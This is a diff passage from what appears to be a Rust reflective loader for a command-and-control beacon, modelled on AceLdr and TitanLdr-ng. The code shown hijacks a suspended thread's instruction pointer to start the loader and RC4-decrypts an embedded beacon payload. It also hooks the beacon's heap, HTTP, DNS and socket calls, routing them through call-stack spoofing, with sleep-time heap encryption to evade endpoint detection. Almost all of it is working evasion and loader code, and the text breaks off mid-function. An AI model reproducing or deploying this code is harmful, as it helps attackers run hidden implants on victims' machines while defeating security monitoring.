(Asynchronous Code Execution) technique to run +/// the loader in a separate thread. This mirrors AceLdr's threading model and provides: +/// - Isolated execution context for the loader +/// - Clean separation between beacon entry and loader logic +/// - Ability to wait on loader completion +/// +/// # Execution Flow +/// +/// 1. **Resolve APIs** - Get thread creation/manipulation functions from ntdll/kernel32 +/// 2. **Create suspended thread** - Spawn thread at RtlUserThreadStart+0x21 offset +/// 3. **Get thread context** - Retrieve CPU state (registers) via NtGetContextThread +/// 4. **Redirect RIP** - Point instruction pointer to loader() function +/// 5. **Set thread context** - Update CPU state with new RIP via NtSetContextThread +/// 6. **Resume thread** - Start execution via NtResumeThread +/// 7. **Wait for completion** - Block until loader finishes (infinite wait) +/// +/// # Arguments +/// +/// * `_arg` - Unused parameter (required by thread start signature) +/// +/// # Thread Context Manipulation +/// +/// The thread is created suspended to allow RIP hijacking before execution: +/// ```text +/// Original RIP: RtlUserThreadStart+0x21 (Windows thread startup) +/// ↓ +/// Modified RIP: loader() function address +/// ↓ +/// Thread executes: loader() instead of intended start routine +/// ``` +/// +/// # Safety +/// +/// - Creates native threads with manually modified context +/// - Waits indefinitely on thread handle (blocking call) +/// - Assumes loader() completes successfully +#[link_section = ".text$B"] +pub unsafe fn ace(_arg: *mut c_void) { + let mut api = Api::new(); + #[cfg(feature = "spoof-uwd")] + api.build_spoof_configs(); + + dbg_print!(api, b"[ACE] Started\n\0"); + + // Step 1: create the suspended beacon thread + let mut thread: HANDLE = null_mut(); + if !NT_SUCCESS!(create_beacon_thread(&mut api, &mut thread)) { + dbg_print!(api, b"[ACE] FAIL: create_beacon_thread\n\0"); + return; + } + dbg_print!(api, b"[ACE] Thread created: %p\n\0", thread); + + // Step 2: grab the current thread context so we can patch RIP + let mut ctx: CONTEXT = core::mem::zeroed(); + ctx.ContextFlags = CONTEXT_CONTROL; + + api.ntdll.NtGetContextThread(thread, &mut ctx); + + // Step 3: point RIP at our loader stub + ctx.Rip = loader as *const () as u64; + dbg_print!(api, b"[ACE] RIP -> loader: %p\n\0", ctx.Rip as usize); + + api.ntdll.NtSetContextThread(thread, &mut ctx); + + // Step 4: resume the thread so it runs the loader + api.ntdll.NtResumeThread(thread, null_mut()); + dbg_print!(api, b"[ACE] Thread resumed, waiting\n\0"); + + // Step 5: keep Api alive until loader finishes to mirror C lifetime + api.kernel32.WaitForSingleObject(thread, 0xFFFFFFFF); + dbg_print!(api, b"[ACE] Loader completed\n\0"); + + // Zero sensitive data on stack (no more Drop impl) + api.zero(); +} + +/// Creates a suspended thread starting at RtlUserThreadStart+0x21 offset. +/// +/// # Purpose +/// +/// Creates a native Windows thread in suspended state with a specific start address +/// inside ntdll's thread initialization routine. The +0x21 offset skips past the +/// initial setup code in RtlUserThreadStart, matching AceLdr's approach. +/// +/// # Why RtlUserThreadStart+0x21? +/// +/// The offset +0x21 places the start address after the function prologue and initial +/// setup code, allowing clean context manipulation before the thread begins execution. +/// This is a known technique in reflective loaders for controlled thread startup. +/// +/// # Arguments +/// +/// * `api` - Resolved API structure containing thread creation functions +/// * `thread` - Output parameter receiving the created thread handle +/// +/// # Returns +/// +/// NTSTATUS code from RtlCreateUserThread (STATUS_SUCCESS on success) +/// +/// # Thread Creation Parameters +/// +/// - Process: Current process (-1 handle) +/// - Security: Default (NULL descriptor) +/// - Suspended: TRUE (allows context modification before execution) +/// - Stack: Default sizes (0 = system defaults) +/// - Start address: RtlUserThreadStart+0x21 (ntdll internal function) +/// - Parameter: NULL (no startup parameter) +/// +/// # Safety +/// +/// - Manually calculates function pointer offset (+0x21) +/// - Creates thread with non-standard entry point +/// - Thread remains suspended until caller resumes it +#[link_section = ".text$B"] +unsafe fn create_beacon_thread(api: &mut Api, thread: &mut HANDLE) -> NTSTATUS { + // Step 1: Calculate start address at RtlUserThreadStart+0x21 (skips prologue) + let suspended: BOOLEAN = TRUE as _; + let addr = (api.ntdll.RtlUserThreadStart_ptr as *mut u8).offset(0x21); + let start_address: PUSER_THREAD_START_ROUTINE = transmute(addr); + + dbg_print!(api, b"[ACE] RtlUserThreadStart+0x21: %p\n\0", addr); + + // Step 2: Create suspended thread with patched entry point + let status = api.ntdll.RtlCreateUserThread( + -1isize as HANDLE, // Current process + null_mut(), // Default security + suspended, // Create suspended for RIP hijack + 0, // Stack zero bits + 0, // Stack reserved (default) + 0, // Stack commit (default) + start_address, // RtlUserThreadStart+0x21 + null_mut(), // Thread parameter + thread, // Output handle + null_mut(), // Client ID (unused) + ); + + dbg_print!(api, b"[ACE] RtlCreateUserThread: %x\n\0", status); + status +} diff --git a/udrl/src/crypto.rs b/udrl/src/crypto.rs new file mode 100644 index 0000000..aed5ebb --- /dev/null +++ b/udrl/src/crypto.rs @@ -0,0 +1,124 @@ +//! Runtime beacon decryption using RC4. +//! +//! This module provides RC4 decryption for the encrypted beacon payload. The +//! encryption key is prepended to the loader by the CNA script (16 bytes before +//! the stub). +//! +//! # RC4 Algorithm +//! +//! RC4 is a stream cipher that generates a pseudo-random keystream: +//! +//! 1. **Key Scheduling (KSA)** - Initialize 256-byte state array from key +//! 2. **PRGA** - Generate keystream bytes by swapping state elements +//! 3. **XOR** - Combine keystream with ciphertext to produce plaintext +//! +//! # Usage +//! +//! ```text +//! CONFIG contains: +//! [16-byte RC4 key][encrypted beacon] +//! +//! decrypt_beacon(key, src, dst, size) → plaintext beacon in dst +//! ``` +//! +//! Based on TitanLdr-ng's Arc4.c implementation for position-independent code. + +/// RC4 cipher context (256-byte state + indices) +#[repr(C)] +struct Arc4Context { + i: u8, + j: u8, + s: [u8; 256], +} + +/// Initializes RC4 context with a key (Key Scheduling Algorithm). +/// +/// # Arguments +/// +/// * `ctx` - Pointer to RC4 context structure +/// * `key` - Pointer to encryption key bytes +/// * `key_len` - Length of key in bytes +/// +/// # Safety +/// +/// - `ctx` must be valid and writable +/// - `key` must be valid for `key_len` bytes +#[link_section = ".text$E"] +unsafe fn arc4_init(ctx: *mut Arc4Context, key: *const u8, key_len: usize) { + // Step 1: Initialize state array with identity permutation (0, 1, 2, ..., 255) + for i in 0..256 { + (*ctx).s[i] = i as u8; + } + + (*ctx).i = 0; + (*ctx).j = 0; + + // Step 2: Key Scheduling Algorithm (KSA) - mix key into state + let mut j: u8 = 0; + for i in 0..256 { + j = j + .wrapping_add((*ctx).s[i]) + .wrapping_add(*key.add(i % key_len)); + + // Swap s[i] and s[j] + let tmp = (*ctx).s[i]; + (*ctx).s[i] = (*ctx).s[j as usize]; + (*ctx).s[j as usize] = tmp; + } +} + +/// Generates the next keystream byte (Pseudo-Random Generation Algorithm). +/// +/// # Returns +/// +/// Next byte of the RC4 keystream. +/// +/// # Safety +/// +/// - `ctx` must be valid and initialized via `arc4_init` +#[link_section = ".text$E"] +unsafe fn arc4_next(ctx: *mut Arc4Context) -> u8 { + // Step 1: Increment i and update j + (*ctx).i = (*ctx).i.wrapping_add(1); + (*ctx).j = (*ctx).j.wrapping_add((*ctx).s[(*ctx).i as usize]); + + // Step 2: Swap s[i] and s[j] + let tmp = (*ctx).s[(*ctx).i as usize]; + (*ctx).s[(*ctx).i as usize] = (*ctx).s[(*ctx).j as usize]; + (*ctx).s[(*ctx).j as usize] = tmp; + + // Step 3: Generate keystream byte from s[s[i] + s[j]] + let t = (*ctx).s[(*ctx).i as usize].wrapping_add((*ctx).s[(*ctx).j as usize]); + (*ctx).s[t as usize] +} + +/// Decrypt the beacon using RC4 (Titan-style: source to destination) +/// +/// This function decrypts from the embedded encrypted beacon to a separate +/// RW buffer, matching TitanLdr's approach. The embedded beacon stays encrypted. +/// +/// # Arguments +/// * `key_ptr` - Pointer to the 16-byte RC4 key (from CONFIG) +/// * `src` - Pointer to encrypted beacon (in .text section, read-only) +/// * `dst` - Pointer to destination buffer (RW memory, allocated by caller) +/// * `size` - Size of beacon to decrypt (in bytes) +/// +/// # Safety +/// - key_ptr must be valid for 16 bytes +/// - src must be valid and readable for size bytes +/// - dst must be valid and writable for size bytes +/// - Caller must allocate dst buffer before calling +#[link_section = ".text$E"] +pub unsafe fn decrypt_beacon(key_ptr: *const u8, src: *const u8, dst: *mut u8, size: usize) { + // Step 1: Stack-allocate RC4 context (no heap needed, PIC-safe) + let mut ctx: Arc4Context = core::mem::zeroed(); + + // Step 2: Initialize RC4 with the 16-byte key + arc4_init(&mut ctx, key_ptr, 16); + + // Step 3: Decrypt by XORing each byte with keystream + for i in 0..size { + let keystream_byte = arc4_next(&mut ctx); + *dst.add(i) = *src.add(i) ^ keystream_byte; + } +} diff --git a/udrl/src/hooks.rs b/udrl/src/hooks.rs new file mode 100644 index 0000000..8255047 --- /dev/null +++ b/udrl/src/hooks.rs @@ -0,0 +1,978 @@ +//! IAT hooks for beacon API interception. +//! +//! All hooks access the persisted `Api` via `(*StubAddr() as PSTUB).api`. +//! Hooks for ntdll/kernel32/kernelbase/advapi32 use auto-spoofing wrapper +//! methods. Hooks for external modules (wininet, winhttp, dnsapi, ws2_32) +//! resolve functions by hash and call via `spoof_uwd!` with the kernelbase +//! spoof config. +//! +//! Sleep_Hook copies Api to the stack because the beacon heap (where Api +//! lives) gets encrypted during sleep obfuscation. + +#[cfg(feature = "sleep-xor")] +use hypnus::common::xor_heap; +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +use hypnus::common::{encrypt_heap_rc4, generate_encryption_key}; +#[cfg(feature = "sleep-ekko")] +use hypnus::ekko; +#[cfg(feature = "sleep-foliage")] +use hypnus::foliage; +#[cfg(feature = "sleep-xor")] +use hypnus::xor; +#[cfg(feature = "sleep-zilean")] +use hypnus::zilean; +use { + crate::{StubAddr, PSTUB}, + api::{api::Api, dbg_print, hash_str, util::get_loaded_module_by_hash, windows::*}, + core::{ffi::c_void, mem::transmute}, +}; +// ============================================================================= +// Heap hooks - redirect allocations to the isolated beacon heap +// ============================================================================= + +#[link_section = ".text$D"] +pub unsafe extern "C" fn GetProcessHeap_Hook() -> HANDLE { + let stub_ptr = StubAddr() as PSTUB; + (*stub_ptr).beacon_heap_handle +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn RtlAllocateHeap_Hook( + heap_handle: PVOID, + flags: ULONG, + size: SIZE_T, +) -> PVOID { + let api = &mut *(*(StubAddr() as PSTUB)).api; + api.ntdll.RtlAllocateHeap(heap_handle, flags, size) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn HeapAlloc_Hook( + h_heap: HANDLE, + dw_flags: DWORD, + dw_bytes: SIZE_T, +) -> LPVOID { + RtlAllocateHeap_Hook(h_heap, dw_flags, dw_bytes) +} + +// ============================================================================= +// WinINet hooks - external module, resolve by hash + spoof_uwd! +// ============================================================================= + +#[link_section = ".text$D"] +pub unsafe extern "C" fn InternetOpenA_Hook( + lpsz_agent: LPCSTR, + dw_access_type: DWORD, + lpsz_proxy: LPCSTR, + lpsz_proxy_bypass: LPCSTR, + dw_flags: DWORD, +) -> HINTERNET { + let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll")); + let f: FnInternetOpenA = transmute(api::util::api::<()>( + wininet_base, + hash_str!("InternetOpenA") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + lpsz_agent, + dw_access_type as usize, + lpsz_proxy, + lpsz_proxy_bypass, + dw_flags as usize + ) as HINTERNET; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + lpsz_agent, + dw_access_type, + lpsz_proxy, + lpsz_proxy_bypass, + dw_flags, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn InternetConnectA_Hook( + h_internet: HINTERNET, + lpsz_server_name: LPCSTR, + n_server_port: INTERNET_PORT, + lpsz_user_name: LPCSTR, + lpsz_password: LPCSTR, + dw_service: DWORD, + dw_flags: DWORD, + dw_context: DWORD_PTR, +) -> HINTERNET { + let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll")); + let f: FnInternetConnectA = transmute(api::util::api::<()>( + wininet_base, + hash_str!("InternetConnectA") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_internet, + lpsz_server_name, + n_server_port as usize, + lpsz_user_name, + lpsz_password, + dw_service as usize, + dw_flags as usize, + dw_context as usize + ) as HINTERNET; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + h_internet, + lpsz_server_name, + n_server_port, + lpsz_user_name, + lpsz_password, + dw_service, + dw_flags, + dw_context, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn HttpOpenRequestA_Hook( + h_connect: HINTERNET, + lpsz_verb: LPCSTR, + lpsz_object_name: LPCSTR, + lpsz_version: LPCSTR, + lpsz_referrer: LPCSTR, + lplpsz_accept_types: *const LPCSTR, + dw_flags: DWORD, + dw_context: DWORD_PTR, +) -> HINTERNET { + let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll")); + let f: FnHttpOpenRequestA = transmute(api::util::api::<()>( + wininet_base, + hash_str!("HttpOpenRequestA") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_connect, + lpsz_verb, + lpsz_object_name, + lpsz_version, + lpsz_referrer, + lplpsz_accept_types, + dw_flags as usize, + dw_context as usize + ) as HINTERNET; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + h_connect, + lpsz_verb, + lpsz_object_name, + lpsz_version, + lpsz_referrer, + lplpsz_accept_types, + dw_flags, + dw_context, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn HttpSendRequestA_Hook( + h_request: HINTERNET, + lpsz_headers: LPCSTR, + dw_headers_length: DWORD, + lp_optional: LPVOID, + dw_optional_length: DWORD, +) -> BOOL { + let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll")); + let f: FnHttpSendRequestA = transmute(api::util::api::<()>( + wininet_base, + hash_str!("HttpSendRequestA") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_request, + lpsz_headers, + dw_headers_length as usize, + lp_optional, + dw_optional_length as usize + ) as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + h_request, + lpsz_headers, + dw_headers_length, + lp_optional, + dw_optional_length, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn HttpQueryInfoA_Hook( + h_request: HINTERNET, + dw_info_level: DWORD, + lp_buffer: LPVOID, + lpdw_buffer_length: LPDWORD, + lpdw_index: LPDWORD, +) -> BOOL { + let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll")); + let f: FnHttpQueryInfoA = transmute(api::util::api::<()>( + wininet_base, + hash_str!("HttpQueryInfoA") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_request, + dw_info_level as usize, + lp_buffer, + lpdw_buffer_length, + lpdw_index + ) as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + h_request, + dw_info_level, + lp_buffer, + lpdw_buffer_length, + lpdw_index, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn InternetReadFile_Hook( + h_file: HINTERNET, + lp_buffer: LPVOID, + dw_number_of_bytes_to_read: DWORD, + lpdw_number_of_bytes_read: LPDWORD, +) -> BOOL { + let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll")); + let f: FnInternetReadFile = transmute(api::util::api::<()>( + wininet_base, + hash_str!("InternetReadFile") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_file, + lp_buffer, + dw_number_of_bytes_to_read as usize, + lpdw_number_of_bytes_read + ) as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + h_file, + lp_buffer, + dw_number_of_bytes_to_read, + lpdw_number_of_bytes_read, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn InternetQueryDataAvailable_Hook( + h_file: HINTERNET, + lpdw_number_of_bytes_available: LPDWORD, + dw_flags: DWORD, + dw_context: DWORD_PTR, +) -> BOOL { + let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll")); + let f: FnInternetQueryDataAvailable = transmute(api::util::api::<()>( + wininet_base, + hash_str!("InternetQueryDataAvailable") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_file, + lpdw_number_of_bytes_available, + dw_flags as usize, + dw_context as usize + ) as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f(h_file, lpdw_number_of_bytes_available, dw_flags, dw_context) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn InternetCloseHandle_Hook(h_internet: HINTERNET) -> BOOL { + let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll")); + let f: FnInternetCloseHandle = transmute(api::util::api::<()>( + wininet_base, + hash_str!("InternetCloseHandle") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!(&mut api.ntdll.spoof_config, f as *const c_void, h_internet) + as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f(h_internet) +} + +// ============================================================================= +// WinHTTP hooks - external module, resolve by hash + spoof_uwd! +// ============================================================================= + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WinHttpOpen_Hook( + pszAgentW: LPCWSTR, + dw_access_type: DWORD, + pszProxyW: LPCWSTR, + pszProxyBypassW: LPCWSTR, + dw_flags: DWORD, +) -> HINTERNET { + let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll")); + let f: FnWinHttpOpen = transmute(api::util::api::<()>( + winhttp_base, + hash_str!("WinHttpOpen") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + pszAgentW, + dw_access_type as usize, + pszProxyW, + pszProxyBypassW, + dw_flags as usize + ) as HINTERNET; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + pszAgentW, + dw_access_type, + pszProxyW, + pszProxyBypassW, + dw_flags, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WinHttpConnect_Hook( + h_session: HINTERNET, + pswz_server_name: LPCWSTR, + n_server_port: u16, + dw_reserved: DWORD, +) -> HINTERNET { + let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll")); + let f: FnWinHttpConnect = transmute(api::util::api::<()>( + winhttp_base, + hash_str!("WinHttpConnect") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_session, + pswz_server_name, + n_server_port as usize, + dw_reserved as usize + ) as HINTERNET; + } + #[cfg(not(feature = "spoof-uwd"))] + f(h_session, pswz_server_name, n_server_port, dw_reserved) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WinHttpOpenRequest_Hook( + h_connect: HINTERNET, + pwsz_verb: LPCWSTR, + pwsz_object_name: LPCWSTR, + pwsz_version: LPCWSTR, + pwsz_referrer: LPCWSTR, + ppwsz_accept_types: *const LPCWSTR, + dw_flags: DWORD, +) -> HINTERNET { + let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll")); + let f: FnWinHttpOpenRequest = transmute(api::util::api::<()>( + winhttp_base, + hash_str!("WinHttpOpenRequest") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_connect, + pwsz_verb, + pwsz_object_name, + pwsz_version, + pwsz_referrer, + ppwsz_accept_types, + dw_flags as usize + ) as HINTERNET; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + h_connect, + pwsz_verb, + pwsz_object_name, + pwsz_version, + pwsz_referrer, + ppwsz_accept_types, + dw_flags, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WinHttpSendRequest_Hook( + h_request: HINTERNET, + lpsz_headers: LPCWSTR, + dw_headers_length: DWORD, + lp_optional: LPVOID, + dw_optional_length: DWORD, + dw_total_length: DWORD, + dw_context: DWORD_PTR, +) -> BOOL { + let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll")); + let f: FnWinHttpSendRequest = transmute(api::util::api::<()>( + winhttp_base, + hash_str!("WinHttpSendRequest") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_request, + lpsz_headers, + dw_headers_length as usize, + lp_optional, + dw_optional_length as usize, + dw_total_length as usize, + dw_context as usize + ) as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + h_request, + lpsz_headers, + dw_headers_length, + lp_optional, + dw_optional_length, + dw_total_length, + dw_context, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WinHttpReceiveResponse_Hook( + h_request: HINTERNET, + lp_reserved: LPVOID, +) -> BOOL { + let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll")); + let f: FnWinHttpReceiveResponse = transmute(api::util::api::<()>( + winhttp_base, + hash_str!("WinHttpReceiveResponse") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_request, + lp_reserved + ) as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f(h_request, lp_reserved) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WinHttpQueryHeaders_Hook( + h_request: HINTERNET, + dw_info_level: DWORD, + pwsz_name: LPCWSTR, + lp_buffer: LPVOID, + lpdw_buffer_length: LPDWORD, + lpdw_index: LPDWORD, +) -> BOOL { + let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll")); + let f: FnWinHttpQueryHeaders = transmute(api::util::api::<()>( + winhttp_base, + hash_str!("WinHttpQueryHeaders") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_request, + dw_info_level as usize, + pwsz_name, + lp_buffer, + lpdw_buffer_length, + lpdw_index + ) as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + h_request, + dw_info_level, + pwsz_name, + lp_buffer, + lpdw_buffer_length, + lpdw_index, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WinHttpReadData_Hook( + h_request: HINTERNET, + lp_buffer: LPVOID, + dw_number_of_bytes_to_read: DWORD, + lpdw_number_of_bytes_read: LPDWORD, +) -> BOOL { + let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll")); + let f: FnWinHttpReadData = transmute(api::util::api::<()>( + winhttp_base, + hash_str!("WinHttpReadData") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_request, + lp_buffer, + dw_number_of_bytes_to_read as usize, + lpdw_number_of_bytes_read + ) as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + h_request, + lp_buffer, + dw_number_of_bytes_to_read, + lpdw_number_of_bytes_read, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WinHttpQueryDataAvailable_Hook( + h_request: HINTERNET, + lpdw_number_of_bytes_available: LPDWORD, +) -> BOOL { + let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll")); + let f: FnWinHttpQueryDataAvailable = transmute(api::util::api::<()>( + winhttp_base, + hash_str!("WinHttpQueryDataAvailable") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + h_request, + lpdw_number_of_bytes_available + ) as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f(h_request, lpdw_number_of_bytes_available) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WinHttpCloseHandle_Hook(h_internet: HINTERNET) -> BOOL { + let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll")); + let f: FnWinHttpCloseHandle = transmute(api::util::api::<()>( + winhttp_base, + hash_str!("WinHttpCloseHandle") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!(&mut api.ntdll.spoof_config, f as *const c_void, h_internet) + as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f(h_internet) +} + +// ============================================================================= +// DNS hooks - external module, resolve by hash + spoof_uwd! +// ============================================================================= + +#[link_section = ".text$D"] +pub unsafe extern "C" fn DnsExtractRecordsFromMessage_UTF8_Hook( + p_dns_buffer: PVOID, + w_message_length: WORD, + pp_record: *mut PVOID, +) -> i32 { + let dnsapi_base = get_loaded_module_by_hash(hash_str!("dnsapi.dll")); + let f: FnDnsExtractRecordsFromMessage_UTF8 = transmute(api::util::api::<()>( + dnsapi_base, + hash_str!("DnsExtractRecordsFromMessage_UTF8") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + p_dns_buffer, + w_message_length as usize, + pp_record + ) as i32; + } + #[cfg(not(feature = "spoof-uwd"))] + f(p_dns_buffer, w_message_length, pp_record) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn DnsWriteQuestionToBuffer_UTF8_Hook( + p_dns_buffer: PVOID, + pdw_buffer_size: LPDWORD, + lpstr_name: LPCSTR, + w_type: WORD, + xid: WORD, + f_recursion_desired: BOOL, +) -> BOOL { + let dnsapi_base = get_loaded_module_by_hash(hash_str!("dnsapi.dll")); + let f: FnDnsWriteQuestionToBuffer_UTF8 = transmute(api::util::api::<()>( + dnsapi_base, + hash_str!("DnsWriteQuestionToBuffer_UTF8") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + p_dns_buffer, + pdw_buffer_size, + lpstr_name, + w_type as usize, + xid as usize, + f_recursion_desired as usize + ) as BOOL; + } + #[cfg(not(feature = "spoof-uwd"))] + f( + p_dns_buffer, + pdw_buffer_size, + lpstr_name, + w_type, + xid, + f_recursion_desired, + ) +} + +// ============================================================================= +// Winsock hook - external module, resolve by hash + spoof_uwd! +// ============================================================================= + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WSASocketA_Hook( + af: i32, + socket_type: i32, + protocol: i32, + lp_protocol_info: LPVOID, + g: u32, + dw_flags: DWORD, +) -> usize { + let ws2_32_base = get_loaded_module_by_hash(hash_str!("ws2_32.dll")); + let f: FnWSASocketA = transmute(api::util::api::<()>( + ws2_32_base, + hash_str!("WSASocketA") as usize, + )); + + #[cfg(feature = "spoof-uwd")] + { + let api = &mut *(*(StubAddr() as PSTUB)).api; + return crate::spoof_uwd!( + &mut api.ntdll.spoof_config, + f as *const c_void, + af as usize, + socket_type as usize, + protocol as usize, + lp_protocol_info, + g as usize, + dw_flags as usize + ) as usize; + } + #[cfg(not(feature = "spoof-uwd"))] + f(af, socket_type, protocol, lp_protocol_info, g, dw_flags) +} + +// ============================================================================= +// Wait hooks - use persisted Api wrappers +// ============================================================================= + +#[link_section = ".text$D"] +pub unsafe extern "C" fn NtWaitForSingleObject_Hook( + handle: HANDLE, + alertable: BOOLEAN, + timeout: PLARGE_INTEGER, +) -> NTSTATUS { + let api = &mut *(*(StubAddr() as PSTUB)).api; + api.ntdll.NtWaitForSingleObject(handle, alertable, timeout) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WaitForSingleObject_Hook( + h_handle: HANDLE, + dw_milliseconds: DWORD, +) -> DWORD { + let api = &mut *(*(StubAddr() as PSTUB)).api; + api.kernel32.WaitForSingleObject(h_handle, dw_milliseconds) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn WaitForSingleObjectEx_Hook( + h_handle: HANDLE, + dw_milliseconds: DWORD, + b_alertable: BOOL, +) -> DWORD { + let api = &mut *(*(StubAddr() as PSTUB)).api; + api.kernel32 + .WaitForSingleObjectEx(h_handle, dw_milliseconds, b_alertable) +} + +// ============================================================================= +// Memory / thread hooks - use persisted Api wrappers +// ============================================================================= + +#[link_section = ".text$D"] +pub unsafe extern "C" fn NtProtectVirtualMemory_Hook( + process_handle: HANDLE, + base_address: *mut PVOID, + region_size: PSIZE_T, + new_protect: ULONG, + old_protect: PULONG, +) -> NTSTATUS { + let api = &mut *(*(StubAddr() as PSTUB)).api; + api.ntdll.NtProtectVirtualMemory( + process_handle, + base_address, + region_size, + new_protect, + old_protect, + ) +} + +#[link_section = ".text$D"] +pub unsafe extern "C" fn SystemFunction032_Hook(data: PUSTRING, key: PUSTRING) -> 